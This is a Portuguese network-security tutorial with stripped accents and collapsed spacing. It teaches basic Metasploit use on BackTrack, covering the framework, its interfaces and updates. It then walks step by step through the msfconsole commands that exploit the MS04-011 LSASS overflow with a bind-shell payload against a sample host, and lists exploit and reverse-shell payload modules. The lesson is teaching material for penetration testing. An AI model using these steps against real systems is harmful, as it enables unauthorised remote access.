Sie sind auf Seite 1von 6

Tutoriais de Segurana de Redes

RicardoKlber
(ricardokleber@ricardokleber.com)

Lio 01 :: Metasploit Bsico


Iniciando uma srie de lies de utilizao de solues/ferramentas para a prtica de segurana de redes, este
primeiro tutorial foca na Ferramenta Metasploit, disponvel em sua ltima verso (4.4) no LiveDVD Forense
Backtrack5R3. O Metasploit, por si s, j valeria um LiveCD, pelo conjunto de funcionalidades que oferece.
O principal objetivo desses tutoriais a popularizao da cultura de segurana e a troca de informaes na
rea, principalmente entre estudantes de cursos de computao, embora a linguagem e a abordagem
utilizados busquem simplificar conceitos e ferramentas a ponto de atrair leitores de outras reas do
conhecimento.
OQueMetasploit?
De acordo com o seu prprio site oficial (www.metasploit.com) o Metasploit Framework uma plataforma
avanada Open Source, desenvolvida especificamente com o objetivo de potencializar e agilizar o
desenvolvimento, testes e utilizao de exploits. O projeto desse framework, que segundo seus criadores
nasceu como um jogo, tem demonstrado um crescimento espetacular, especialmente a partir da verso 2.2,
dando-lhe lugar privilegiado entre os kits de ferramentas de todos os profissionais da rea de segurana da
informao.
Como a maioria de seus componentes so escritos na linguagem Perl, outros ainda desenvolvidos em C e
Assembler, sua portabilidade est assegurada, aspecto que contribui em grande parte para a sua aceitao
massiva, pois pode ser utilizado em praticamente todas as plataformas Unix-Like, BSD, MacOS X,
Windows, etc.
Um outro aspecto interessante o licenciamento a partir da verso 2.3 do Metasploit Framework, baseado
tanto na GPL v2 como na Perl Artistic Licences, permitindo sua utilizao tanto em projetos Open Source
como em projetos comerciais.
O foco principal do Metasploit Framework a rea de Penetration Test (PenTest) ou, em portugus, Testes
de Penetrao, atividade cada vez mais recomendada tanto por equipes de segurana internas nas
instituies, com vistas a testar a aplicao de suas polticas de segurana, como por empresas de consultoria
especializada que oferecem esse tipo de servio a outras, com vistas a buscar explorar vulnerabilidades a
partir de ambientes externos, simulando o comportamento de eventuais atacantes, antes que esses ataques, de
fato, ocorram.
Em 21 de outubro de 2009, a empresa de segurana Rapid7 adquiriu o projeto Metasploit mantendo, porm,
uma equipe de desenvolvimento em tempo integral e o todo o cdigo fonte sob licena BSD.
Estudantes (e curiosos) podem utilizar o Metasploit Framework incorporando a ele novas funcionalidades,
uma vez que, em funo de sua licena, podem modificar, customizar ou apenas estudar suas linhas de
cdigo internas para entender o seu funcionamento.
Mesmo com todas as suas ferramentas oferecidas gratuitamente para uso, o Metasploit Framework uma
excelente soluo corporativa, comparvel s grande solues comerciais proprietrias (e caras) utilizadas
para o mesmo objetivo.
InstalandooMetasploit
Framework

Se o desejo instalar o Metasploit Framework, como dito anteriormente a instalao pode ser realizada tanto
em sistemas baseados em Unix/Linux como no MS-Windows, dentre outros. Em ambos os dois primeiros
sistemas citados (com maior nmero de usurios), os instaladores dispem de telas de ajuda (wizards) sendo
que, no caso do Windows, a instalao feita sobre uma verso do software Cygwin customizado que, aps
configurado, realiza a instalao e configurao do Metasploit Framework normalmente, a partir de um
arquivo executvel (metasploit-latest-windows-installer.exe). No caso do Unix/Linux, o usurio pode
baixar e instalar a partir do site oficial a ltima verso do Metasploit Framework (metasploit-latest-linux-
installer.run), descompactar e instalar.
Este tutorial no detalhar os demais passos da instalao (em quaisquer das arquiteturas) uma vez que
subentende que o usurio est fazendo uso do LiveCD Backtrack5R3 que j dispe da ferramenta instalada e
configurada, pronta para uso.
Atualizando o Metasploit Framework
O Metasploit Framework traz, como parte de seus componentes, uma srie de exploits prontos para utilizar.
Uma vez que novas vulnerabilidades surgem a cada instante, naturalmente novos exploits (para explorar
essas vulnerabilidades) tambm devem surgir, tornando o framework constantemente desatualizado,
necessitando de atualizao constante. Essa atualizao possvel uma vez que vrias comunidades, grupos
e instituies mantm atividades constantes de identificao, classificao e disponibilizao de informaes
relacionadas a novas vulnerabilidades, bem como dos exploits para a sua explorao. Esses exploits podem
ser adicionados facilmente ao Metasploit Framework atravs de um dos utilitrios da ferramenta chamado
msfupdate adicionada como parte da instalao padro do Metasploit Framework a partir da verso 2.2. A
sua utilizao bastante simples, como exemplificado a seguir:

#msfupdateu

Quando executado, o msfupdate exibe informaes sobre as ltimas novidades e solicita a confirmao
para realizar o procedimento de atualizao (adio dos novos exploits disponveis publicamente ao
Metasploit Framework).

Apresenta
es
(Interfaces)
do
Metasploit
Framework

O Metasploit Framework disponibiliza 4 (quatro) interfaces distintas para interao com suas
ferramentas/funcionalidades disponveis:
Interface de Linha de Comando: Forma mais tradicional de interao com o framework, iniciada a partir do
comando msfcli.
Interface de Console: Disponibiliza um prompt do Metasploit, e iniciada a partir do comando msfconsole
Interface Web: Indicada para necessidades de interao com a ferramenta a partir de mquinas remotas (via
browser) e/ou por mais de um usurio, como em situaes em que as ferramentas necessitam ser executadas
por equipes. Para a disponibilizao dessa interface o Metasploit disponibiliza seu prprio servidor http
podendo ser configurado, se necessrio, para restringir o acesso a clientes (browsers) a partir da identificao
de IPs e/ou senhas de acesso interface.
Interface Web: Inicialmente acionada a partir do comando msfgui a interface grfica do Metasploit surgiu
em 2010, sendo substituda, posteriormente, pela interface Armitage, padro utilizado na verso atual do
Metasploit Framework.

LanandoumExploit
Utilizando a interface de console do Metasploit Framework apresentamos, a seguir, um exemplo prtico de
utilizao de um exploit especfico.
#msfconsole

O Metasploit Framework apresentar um banner da ferramenta (Figura 01) indicando a verso instalada da
ferramenta, quantidade de exploits e payloads disponveis e, em seguida, o console (msf >) de interao
aguardando a digitao do comando.
__
/\/\_____/_/__
||\/|_____\\________||/\_\\
||\/|||___\||/\/__\|__/|||||||||
|_||||_|__||_/\__\\||||_\__/||||_
|/|____/\___\//\\___/\/\__||_\\___\

=[metasploitv4.5.0dev[core:4.5api:1.0]
+=[927exploits499auxiliary151post
+=[251payloads28encoders8nops
=[svnr15728updated100daysago(2012.08.10)

Warning:ThiscopyoftheMetasploitFrameworkwaslastupdated100daysago.
Werecommendthatyouupdatetheframeworkatleasteveryotherday.
ForinformationonupdatingyourcopyofMetasploit,pleasesee:
https://community.rapid7.com/docs/DOC1306

msf>

Figura 01 Banner de Apresentao da Interface msfconsole


Como o comando/funcionalidade a ser digitado presume o conhecimento prvio de sua sintaxe e
funcionalidade, para exibir informaes sobre as opes disponveis sugere-se, inicialmente, a digitao do
comando help, cujo resultado exibir a descrio de cada um dos comandos e seus resultados esperados.

msf>help

Conforme apresentado pelo comando help, para exibir, por exemplo, a lista de exploits disponveis, deve-
se digitar o comando show exploits:

msf>showexploits

O resultado desse comando uma lista dos exploits (Figura 02) instalados/disponveis na ferramenta.

windows/ftp/oracle9i_xdb_ftp_pass20030818greatOracle9iXDBFTPPASSOverflow(win32)
windows/ftp/proftp_banner20090825normalProFTP2.9BannerRemoteBufferOverflow
windows/ftp/sasser_ftpd_port20040510averageSasserWormavserveFTPPORTBufferOverflow
windows/http/apache_mod_rewrite_ldap20060728greatApachemodulemod_rewriteLDAPprotocolBufferOverflow
windows/http/php_apache_request_headers_bof20120508normalPHPapache_request_headersFunctionBufferOverflow
windows/iis/iis_webdav_upload_asp19940101excellentMicrosoftIISWebDAVWriteAccessCodeExecution
windows/iis/ms02_065_msadc20021120normalMicrosoftIISMDACmsadcs.dllRDSDataStubContentTypeOverflow
windows/iis/ms03_007_ntdll_webdav20030530greatMicrosoftIIS5.0WebDAVntdll.dllPathOverflow
windows/iis/msadc19980717excellentMicrosoftIISMDACmsadcs.dllRDSArbitraryRemoteCommandExecution
windows/mssql/ms02_039_slammer20020724goodMicrosoftSQLServerResolutionOverflow
windows/smb/ms04_011_lsass20040413goodMicrosoftLSASSServiceDsRolerUpgradeDownlevelServerOverflow
windows/smb/ms06_066_nwapi20061114goodMicrosoftServicesMS06066nwapi32.dllModuleExploit
windows/smb/ms08_067_netapi20081028greatMicrosoftServerServiceRelativePathStackCorruption
windows/wins/ms04_045_wins20041214greatMicrosoftWINSServiceMemoryOverwrite
(...)

msf>

Figura 02 Lista de Exploits instalados/disponveis

O uso de um exploit especfico pode ser feito utilizando-se o comando use seguido do mdulo de
explorao (exploit) que se deseja utilizar:

msf>useexploit/windows/smb/ms04_011_lsass

Para mais informaes sobre o mdulo de exploit selecionado para utilizao, pode-se utilizar a instruo
info. Isso apresentar informaes adicionais sobre o mdulo.

msfexploit(ms04_011_lsass)>info

Como resultado (Figura 03) obteremos informaes detalhadas sobre o mdulo, como:
Nome detalhado do mdulo
Caminho absoluto para acesso ao mdulo
Verso
Plataforma-Alvo
Tipo de Licena
Endereo (e-mail) do desenvolvedor/mantenedor do mdulo
Verses afetadas pela vulnerabilidade (targets)
Outras opes disponveis para configurao (porta local / porta remota / IP local / IP remoto)
Descrio detalhada do mdulo
Referncias aos boletins de segurana publicados sobre a vulnerabilidade (CVE, Securityfocus,
OSVDB, Microsoft Technet, etc).
Name:MicrosoftLSASSServiceDsRolerUpgradeDownlevelServerOverflow
Module:exploit/windows/smb/ms04_011_lsass
Version:14976
Platform:Windows
Privileged:Yes
License:MetasploitFrameworkLicense(BSD)
Rank:Good

Providedby:
hdm<hdm@metasploit.com>

Availabletargets:
IdName

0AutomaticTargetting
1Windows2000English
2WindowsXPEnglish

Basicoptions:
NameCurrentSettingRequiredDescription

RHOSTyesThetargetaddress
RPORT445yesSettheSMBserviceport

Payloadinformation:
Space:1024
Avoid:7characters

Description:
ThismoduleexploitsastackbufferoverflowintheLSASSservice,
thisvulnerabilitywasoriginallyfoundbyeEye.Whenreexploiting
aWindowsXPsystem,youwillneedneedtorunthismoduletwice.
DCERPCrequestfragmentationcanbeperformedbysetting'FragSize'
parameter.

References:
http://cve.mitre.org/cgibin/cvename.cgi?name=20030533
http://www.osvdb.org/5248
http://www.securityfocus.com/bid/10108
http://www.microsoft.com/technet/security/bulletin/MS04011.mspx

msfexploit(ms04_011_lsass)>
Figura 03 Exemplo de sada da instruo info

Uma vez selecionado o exploit, deve-se indicar qual o Shellcode (Payload), ou seja, a carga que ser
executada pelo Metasploit Framework caso a explorao da vulnerabilidade seja bem sucedida. Para
informaes sobre os Payloads disponveis pode-se digitar show payloads (Figura 04):

msfexploit(ms04_011_lsass)>showpayloads

CompatiblePayloads
===================

NameRankDescription

generic/customnormalCustomPayload
generic/debug_trapnormalGenericx86DebugTrap
generic/shell_bind_tcpnormalGenericCommandShell,BindTCPInline
generic/shell_reverse_tcpnormalGenericCommandShell,ReverseTCPInline
generic/tight_loopnormalGenericx86TightLoop
windows/addusernormalWindowsExecutenetuser/ADD
windows/dllinject/bind_tcpnormalReflectiveDLLInjection,BindTCPStager
windows/dllinject/reverse_httpnormalReflectiveDLLInjection,ReverseHTTPStager
windows/dllinject/reverse_tcpnormalReflectiveDLLInjection,ReverseTCPStager
windows/execnormalWindowsExecuteCommand
windows/shell/bind_tcpnormalWindowsCommandShell,BindTCPStager
windows/shell/reverse_httpnormalWindowsCommandShell,ReverseHTTPStager
windows/shell/reverse_tcpnormalWindowsCommandShell,ReverseTCPStager
windows/shell_bind_tcpnormalWindowsCommandShell,BindTCPInline
windows/shell_reverse_tcpnormalWindowsCommandShell,ReverseTCPInline
(...)

msfexploit(ms04_011_lsass)>
Figura 04 Exemplos de Payloads disponveis
Pode-se utilizar, ainda o comando info para obter informaes adicionais de cada Payload, de modo a
selecionar o mais conveniente para cada caso.
Dando continuidade aos comandos selecionados como exemplo, selecionando, por exemplo, o payload
win32_bind, caso a vulnerabilidade seja explorada com sucesso, a execuo do exploit resultar na
disponibilizao de uma shell no sistema remoto. A seleo do payload especfico feita atravs do comando
set:

msfexploit(ms04_011_lsass)>setPAYLOADgeneric/shell_bind_tcp

Assim, uma vez listados os exploits e payloads disponveis, tendo-se obtido mais informaes sobre cada um
deles, e escolhidas as opes especficas (Exploit: ms04_011_lsass e Payload: shell_bind_tcp) pode-se/deve-
se solicitar ao Metasploit Framework as informaes complementares disponveis para finalizar o processo
de informao de dados para o uso do exploit, utilizando o comando show options.

msfexploit(ms04_011_lsass)>showoptions

O resultado (como exemplificado na Figura 05) apresentar as variveis/opes complementares disponveis


antes de executar o exploit/payload.

Moduleoptions(exploit/windows/smb/ms04_011_lsass):

NameCurrentSettingRequiredDescription

RHOSTyesThetargetaddress
RPORT445yesSettheSMBserviceport

Payloadoptions(generic/shell_bind_tcp):

NameCurrentSettingRequiredDescription

LPORT4444yesThelistenport
RHOSTnoThetargetaddress

Exploittarget:

IdName

0AutomaticTargetting

msfexploit(ms04_011_lsass)>
Figura 05 Exemplos de opes complementares

Em alguns casos, parte dessas opes j disponibilizam automaticamente valores sugeridos (default), porm,
algumas opes necessitam ser preenchidas, como o IP da mquina alvo (RHOST = Remote Host) ou a porta
local que ser utilizada para interagir com o host remoto (LPORT = Local Port). Para informar os valores
dessas variveis deve-se utilizar o comando set para cada um deles, como no exemplo a seguir:

msfexploit(ms04_011_lsass)>setRHOST192.168.0.2

Aps a informao do valor da varivel, pode-se/deve-se utilizar novamente o comando show options para
verificar se o valor foi corretamente informado, bem como para verificar se existem outras variveis que
ainda necessitam que seus valores sejam informados:

msfexploit(ms04_011_lsass)>showoptions

Estando tudo configurado corretamente pode-se, finalmente, executar o exploit informando o comando
exploit e aguardando o seu resultado.

msfexploit(ms04_011_lsass)>exploit
Se a operao foi bem sucedida, o Metasploit Framework disponibilizar um interpretador de comandos
(shell) que, nesse caso, poder ser utilizado a partir da conexo na porta local (LPORT) 4444. Assim, a
vulnerabilidade foi explorada com sucesso e o usurio poder explorar o acesso remoto ao host selecionado
a partir de uma shell em sua estao local.

Finalizando...

O exemplo apresentado nesta lio ilustra apenas uma simulao de explorao de vulnerabilidade a partir
de uma das interfaces disponveis no Metasploit Framework. Todo o processo , de fato, como aqui
ilustrado, bastante simples:
Identificao da vulnerabilidade a explorar
Seleo da Interface do Metasploit
Seleo do Exploit a Utilizar
Seleo do Payload
Configurao de parmetros adicionais
Execuo do Exploit
Explorao da vulnerabilidade
Outros mdulos, no necessariamente de explorao de vulnerabilidades, como por exemplo os mdulos de
varreduras (scan) de portas e/ou de vulnerabilidades tambm esto disponveis na ferramenta e podem ser
utilizados a partir de passos semelhantes aos do exemplo aqui apresentado.
Cabe reforar a importncia do primeiro passo apresentado nesta lio: a atualizao dos mdulos do
Metasploit Framework. Isso permitir manter a ferramenta sempre preparada para a explorao das ltimas
vulnerabilidades encontradas a partir dos exploits especficos para cada uma delas.

Ricardo Klber Martins Galvo bacharel em Cincias da Computao e mestre em Engenharia Eltrica,
professor de disciplinas de segurana de redes e percia forense computacional no curso de Tecnologia em
Redes de Computadores do Instituto Federal de Educao, Cincia e Tecnologia do RN, atuando desde 1998
na rea de segurana de redes, ministrando palestras, treinamentos e consultorias na rea, tendo atuado como
Security Officer da Universidade Federal do Rio Grande do Norte, Diretor de Redes do Detran/PE e
professor em cursos de especializao em Segurana da Informao e Computao Forense em diversas
faculdades do pas. usurio do sistema operacional Linux desde 1996 e atualmente Diretor Acadmico de
Gesto e Tecnologia da Informao do IFRN / Cmpus Natal Central.

Das könnte Ihnen auch gefallen